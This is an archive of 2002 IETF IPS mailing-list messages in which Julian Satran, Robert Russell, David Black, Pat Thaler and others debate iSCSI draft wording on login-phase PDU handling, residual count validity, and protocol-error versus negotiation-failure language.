from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g725h7o14352; Fri, 2 Aug 2002 01:43:07 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g725h1q6024966; Fri, 2 Aug 2002 07:43:01 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g725h06F063538; Fri, 2 Aug 2002 07:43:01 +0200 To: "Robert D. Russell" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 08:43:01 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 08:43:00, Serialize complete at 02/08/2002 08:43:00 Content-Type: multipart/alternative; boundary="=_alternative 001DB0E7C2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001DB0E7C2256C09_= Content-Type: text/plain; charset="us-ascii" Bob, Yes disconect is justified if the first reguest is not Login. I will add to 2.2.3 A target receiving any PDU except a Login request before the Login phase is started MUST immediately terminate the connection on which the PDU was received. Julo "Robert D. Russell" Sent by: owner-ips@ece.cmu.edu 08/01/2002 04:12 PM To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: Re: iSCSI: plugfest4 issues Julian: Would you please clarify your answer to issue 2 below: Do you mean the target should simply disconnect in all cases of a PDU received during Login Phase that is not a Login Request PDU, or only when the first PDU received during Login Phase is not a Login Request? If the answer is "all cases", then there would appear to be no need for the Login Response Status code 0x020b "Invalid Request type during Login" and it should be removed to avoid further confusion. I believe disconnect is fully justified when the first PDU in Login Phase is not a Login Request, for both security and implementation reasons, as stated in a posting by Eddy Quicksall. However, after the first Login Request PDU has been successfully received, the Login Phase has clearly begun and it seems to me easier then to deal with all errors on the target side, including reception of a non-Login Request PDU, in the same manner, which is to send back a Login-Reject with the appropriate status code and then close the connection. I believe this is why the 0x020b Status code was introduced, and could anticipate the usefulness of having this if, for example, the initiator concludes Login Phase and begins sending FFP PDUs, but for whatever reason the target has not concluded Login Phase and continues to expect to receive only Login Request PDUs. Thank you, Bob Russell > 2. The last paragraph of section 2.2.3 says: > > "Before the Full Feature Phase is established, only Login Request and > Login Response PDUs are allowed. Any other PDU, when received at ini- > tiator or target, is a protocol error and MUST result in the connec- > tion being terminated. ..." > > The question is the following: is this rule literally true for the > target (i.e., can the target disconnect as soon as it receives a > non-Login PDU from the initiator) or does the target have to first > send a Login Response with Login reject PDU before disconnecting, as > it does for all other errors detected by the target during Login > Phase (according to section 4.3.1)? > > A related question is: does the target take the same action when > the very first PDU it receives on a new TCP connection is not a > Login Request PDU? > > If the target has to send the Login reject PDU before disconnecting, > then the last paragraph of section 2.2.3 should be reworded along > the following lines (modeled after the last paragraph of section 4.3): > > "Before the Full Feature Phase is established, only Login Request > and Login Response PDUs are allowed. If the target receives any PDU > other than Login Request, it must send a Login reject (code 0x020b) > and then disconnect. If the initiator receives any PDU other than > Login Response, it MUST drop the connection. ..." > > This wording would also appear to cover the case of when the very first > PDU a target receives on a new TCP connection is not a Login Request. > +++ I would suggest sticking with disconnecting. +++ > --=_alternative 001DB0E7C2256C09_= Content-Type: text/html; charset="us-ascii"
Bob,

Yes disconect is justified if the first reguest is not Login.

I will add to 2.2.3

A target receiving any PDU except a Login request before the Login phase is started MUST immediately terminate the connection on which the PDU was received.

Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
Sent by: owner-ips@ece.cmu.edu

08/01/2002 04:12 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, <ips@ece.cmu.edu>
        cc:        
        Subject:        Re: iSCSI: plugfest4 issues

       


Julian:

Would you please clarify your answer to issue 2 below:

Do you mean the target should simply disconnect in all cases of a PDU
received during Login Phase that is not a Login Request PDU, or only
when the first PDU received during Login Phase is not a Login Request?

If the answer is "all cases", then there would appear to be no need
for the Login Response Status code 0x020b "Invalid Request type during
Login" and it should be removed to avoid further confusion.

I believe disconnect is fully justified when the first PDU in Login
Phase is not a Login Request, for both security and implementation
reasons, as stated in a posting by Eddy Quicksall.  However, after the
first Login Request PDU has been successfully received, the Login Phase
has clearly begun and it seems to me easier then to deal with all errors
on the target side, including reception of a non-Login Request PDU, in the
same manner, which is to send back a Login-Reject with the appropriate
status code and then close the connection.  I believe this is why the
0x020b Status code was introduced, and could anticipate the usefulness
of having this if, for example, the initiator concludes Login Phase
and begins sending FFP PDUs, but for whatever reason the target has not
concluded Login Phase and continues to expect to receive only Login
Request PDUs.

Thank you,

Bob Russell


> 2. The last paragraph of section 2.2.3 says:
>
>    "Before the Full Feature Phase is established, only Login Request and
>    Login Response PDUs are allowed. Any other PDU, when received at ini-
>    tiator or target, is a protocol error and MUST result in the connec-
>    tion being terminated. ..."
>
>    The question is the following:  is this rule literally true for the
>    target (i.e., can the target disconnect as soon as it receives a
>    non-Login PDU from the initiator) or does the target have to first
>    send a Login Response with Login reject PDU before disconnecting, as
>    it does for all other errors detected by the target during Login
>    Phase (according to section 4.3.1)?
>
>    A related question is: does the target take the same action when
>    the very first PDU it receives on a new TCP connection is not a
>    Login Request PDU?
>
>    If the target has to send the Login reject PDU before disconnecting,
>    then the last paragraph of section 2.2.3 should be reworded along
>    the following lines (modeled after the last paragraph of section 4.3):
>
>    "Before the Full Feature Phase is established, only Login Request
>    and Login Response PDUs are allowed.  If the target receives any PDU
>    other than Login Request, it must send a Login reject (code 0x020b)
>    and then disconnect.  If the initiator receives any PDU other than
>    Login Response, it MUST drop the connection. ..."
>
>    This wording would also appear to cover the case of when the very first
>    PDU a target receives on a new TCP connection is not a Login Request.
> +++ I would suggest sticking with disconnecting. +++
>

--=_alternative 001DB0E7C2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 02:27:01 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09313 for ; Fri, 2 Aug 2002 02:26:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g725hG614372 for ips-outgoing; Fri, 2 Aug 2002 01:43:16 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g725hDo14362 for ; Fri, 2 Aug 2002 01:43:13 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g725h6ub046252; Fri, 2 Aug 2002 07:43:06 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g725h56F104526; Fri, 2 Aug 2002 07:43:06 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 08:43:05 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 08:43:05, Serialize complete at 02/08/2002 08:43:05 Content-Type: multipart/alternative; boundary="=_alternative 001E29B3C2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001E29B3C2256C09_= Content-Type: text/plain; charset="us-ascii" David, We DO EXACTLY what FCP did - say nothing. I went through the document - thetre is no relation mentioned and that is what we do too. In any case we cannot enforce a SCSI behavior. The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI. I also suspect that the trouble may be deeper than we think and I find it much more prudent to say nothing (again as FCP did). Julo Black_David@emc.com 08/01/2002 05:56 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. --=_alternative 001E29B3C2256C09_= Content-Type: text/html; charset="us-ascii"
David,

We DO EXACTLY what FCP did  - say nothing.
I went through the document - thetre is no relation mentioned and that is what we do too.

In any case we cannot enforce a SCSI behavior.
The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI.

I also suspect that the trouble may be deeper than we think and I find it much more prudent
to say nothing (again as FCP did).

Julo



Black_David@emc.com

08/01/2002 05:56 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI: plugfest4 issues

       


Julian,
 
I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues

Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo

Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
       To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
       cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
       Subject:        Re: iSCSI: plugfest4 issues

     



Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
                                         
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
appropriate O and U bits need to be computed on all SCSI Response
PDUs, regardless of the values in the Status and/or Response fields.

One point of view says that the Residual Count field and the O and U
bits appear to be strictly iSCSI values that are derived by the
iSCSI target layer from the ExpectedDataTransferLength field of the
SCSI Command PDU and the DataSegmentLength fields of the DataIn or
DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
target always computes a Residual Count value without regard to the
Status and/or Response fields, since these are SCSI values.

The other point of view says that the Residual Count field, and the
O and U bits, need only be set when the Status and Response fields
indicate that the command was completed at the target with a GOOD
Status, and the target does not have to compute or set the Residual
Count field and the O or U bits for other values of the Status and/or
Response fields.

Which is it?  In any case, could this be clarified somewhere in the
standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
       T10 Reflector <t10@t10.org>,
       Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.

--=_alternative 001E29B3C2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 02:27:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09332 for ; Fri, 2 Aug 2002 02:27:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g725h6f14350 for ips-outgoing; Fri, 2 Aug 2002 01:43:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g725h5o14346 for ; Fri, 2 Aug 2002 01:43:05 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g725gxq6009466 for ; Fri, 2 Aug 2002 07:42:59 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g725gw6F104510 for ; Fri, 2 Aug 2002 07:42:58 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: Invalid Pdus received during Login phase X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 08:42:59 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 08:42:58, Serialize complete at 02/08/2002 08:42:58 Content-Type: multipart/alternative; boundary="=_alternative 001BEDFBC2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001BEDFBC2256C09_= Content-Type: text/plain; charset="us-ascii" Pat, Comments in text. Thanks, Julo pat_thaler@agilent.com Sent by: owner-ips@ece.cmu.edu 07/30/2002 10:55 PM To: praveenm@nettaxi.com, ips@ece.cmu.edu cc: Subject: RE: Invalid Pdus received during Login phase Praveen, This appears to be covered in 2.3 Last paragraph on page 33. "Before the Full Feature Phase is established, only Login Request and Login Response PDUs are allowed. Any other PDU, when received at initiator or target, is a protocol error and MUST result in the connection being terminated." So, if the target gets PDU that isn't a Login Request PDU during login, it closes the TCP connection (it might be more clear to say "TCP connection" rather than just "connection" in the text quoted above). It can't send a Login Response PDU because it hasn't gotten a Login Request to respond to. This response should be valid even if no Login PDUs have been received. In researching this, I noticed that an earlier discussion on the use of protocol error vs negotiation failure seems to have been incompletely applied. 4.2.1 last sentence is confusing. It reads: "The selection of a value not proposed is considered a negotiation failure and MUST be handled as a protocol error." 5.10 and 5.11 cover Negotiation Failures and Protocol errors, respectively, so this sentence makes it unclear which applies. It should say "The selection of a value not proposed MUST be handled as a negotiation failure." +++ it is a protocol error +++ 4.2.2 The same edit applies to the third paragraph of 4.2.2. +++ protocol error +++ 4.3 Page 70 fifth paragraph "is considered a protocol error" should be "MUST be handled as a negotiation failure." +++ protocol error +++ 4.4 Page 78 second paragraph from bottom. Should "Reject" be "Reject PDU"? "Reject" could be misunderstood to be the value "Reject" but then there isn't any way to return "protocol error". +++ added the word PDU +++ Regards, Pat -----Original Message----- From: Praveen madhavan [mailto:praveenm@nettaxi.com] Sent: Tuesday, July 30, 2002 4:38 AM To: ips@ece.cmu.edu Subject: Invalid Pdus received during Login phase Hi, I would like to know the behavior of Target, when it receives invalid Pdu's during login phase. Will target generates login response with Error of status detail -"Invalid during login" and terminates the connections. Or Reject command with reason code- "Protocol Error/Invalid PDU". If Invalid Pdus are received by Target, even before login phase ( I mean just before first login request from initiator), i think target can't send login response for it since it was not aware of ISID. In such senario how will target react ? regards Praveen.M ------------------------------------------------------------ NEW - FREE Nettaxi 56kbs Dial-up INTERNET ACCESS with NO ADS or Ad Bars! http://www.nettaxi.com/isp/ --=_alternative 001BEDFBC2256C09_= Content-Type: text/html; charset="us-ascii"

Pat,

Comments in text.

Thanks,
Julo


pat_thaler@agilent.com
Sent by: owner-ips@ece.cmu.edu

07/30/2002 10:55 PM

       
        To:        praveenm@nettaxi.com, ips@ece.cmu.edu
        cc:        
        Subject:        RE: Invalid Pdus received during Login phase

       


Praveen,

This appears to be covered in 2.3 Last paragraph on page 33. "Before the Full Feature Phase is established, only Login Request and Login Response PDUs are allowed. Any other PDU, when received at initiator or target, is a protocol error and MUST result in the connection being terminated."

So, if the target gets PDU that isn't a Login Request PDU during login, it closes the TCP connection (it might be more clear to say "TCP connection" rather than just "connection" in the text quoted above). It can't send a Login Response PDU because it hasn't gotten a Login Request to respond to. This response should be valid even if no Login PDUs have been received.

In researching this, I noticed that an earlier discussion on the use of protocol error vs negotiation failure seems to have been incompletely applied.

4.2.1 last sentence is confusing. It reads: "The selection of a value not proposed is considered a negotiation failure and MUST be handled as a protocol error." 5.10 and 5.11 cover Negotiation Failures and Protocol errors, respectively, so this sentence makes it unclear which applies. It should say "The selection of a value not proposed MUST be handled as a negotiation failure."
+++ it is a protocol error +++
4.2.2 The same edit applies to the third paragraph of 4.2.2.
+++ protocol error +++
4.3 Page 70 fifth paragraph "is considered a protocol error" should be "MUST be handled as a negotiation failure."
+++ protocol error +++
4.4 Page 78 second paragraph from bottom. Should "Reject" be "Reject PDU"? "Reject" could be misunderstood to be the value "Reject" but then there isn't any way to return "protocol error".
+++ added the word PDU +++
Regards,
Pat

-----Original Message-----
From: Praveen madhavan [mailto:praveenm@nettaxi.com]
Sent: Tuesday, July 30, 2002 4:38 AM
To: ips@ece.cmu.edu
Subject: Invalid Pdus received during Login phase


Hi,
I would like to know the behavior of Target, when it receives invalid Pdu's during login phase.
  Will target generates login response with Error of status detail -"Invalid during login" and terminates the connections.
Or Reject command with reason code- "Protocol Error/Invalid PDU".

If Invalid Pdus are received by Target, even before login phase
( I mean just before first login request from initiator), i think target can't send login response for it since it was not aware of ISID. In such senario how will target react ?

regards
Praveen.M





------------------------------------------------------------
NEW - FREE Nettaxi 56kbs Dial-up INTERNET ACCESS with NO ADS or Ad Bars!
http://www.nettaxi.com/isp/



--=_alternative 001BEDFBC2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 02:30:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09406 for ; Fri, 2 Aug 2002 02:30:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g725w5814871 for ips-outgoing; Fri, 2 Aug 2002 01:58:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g725w4o14867 for ; Fri, 2 Aug 2002 01:58:04 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g725tE2E042112; Fri, 2 Aug 2002 07:55:19 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g725t26F034874; Fri, 2 Aug 2002 07:55:12 +0200 To: Santosh Rao Cc: IPS Reflector , Robert Snively , santoshr@hpcuhe.cup.hp.com MIME-Version: 1.0 Subject: Re: iSCSI: 